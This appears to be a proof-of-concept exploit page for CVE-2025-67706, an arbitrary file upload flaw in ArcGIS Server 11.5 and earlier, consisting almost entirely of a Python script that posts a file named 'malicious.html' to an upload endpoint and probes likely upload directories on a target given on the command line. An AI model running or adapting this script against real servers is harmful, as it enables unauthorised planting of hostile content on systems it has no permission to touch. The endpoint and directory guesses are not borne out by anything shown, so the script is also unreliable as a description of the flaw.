CVE-2025-67706: ArcGIS Server任意文件上传漏洞

import requests import sys # CVE-2025-67706 PoC - ArcGIS Server Arbitrary File Upload # Target: ArcGIS Server versions 11.5 and earlier # This PoC demonstrates file upload to vulnerable endpoint def upload_file(target_url, file_content): """ Upload arbitrary file to ArcGIS Server Args: target_url: Base URL of ArcGIS Server file_content: Content of file to upload Returns: Response from server """ upload_endpoint = f"{target_url}/arcgis/rest/services/upload" files = { 'file': ('malicious.html', file_content, 'text/html') } try: response = requests.post(upload_endpoint, files=files, timeout=30) return response except requests.exceptions.RequestException as e: print(f"Error: {e}") return None def check_upload_directory(target_url): """ Enumerate upload directories on target server """ dirs = [ '/arcgis/uploads/', '/server/uploads/', '/arcgisserver/uploads/' ] for dir_path in dirs: try: response = requests.get(f"{target_url}{dir_path}", timeout=10) if response.status_code == 200: print(f"[+] Found upload directory: {dir_path}") except: pass if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-67706.py <target_url> ") print("Example: python cve-2025-67706.py http://target.com:6080 malicious.html") sys.exit(1) target = sys.argv[1] filename = sys.argv[2] # Read malicious file content with open(filename, 'r') as f: content = f.read() print(f"[*] Uploading {filename} to {target}") print("[*] Note: Uploaded files are restricted to non-executable locations") response = upload_file(target, content) if response and response.status_code == 200: print("[+] File upload successful") print(f"Response: {response.text}") else: print("[-] File upload failed")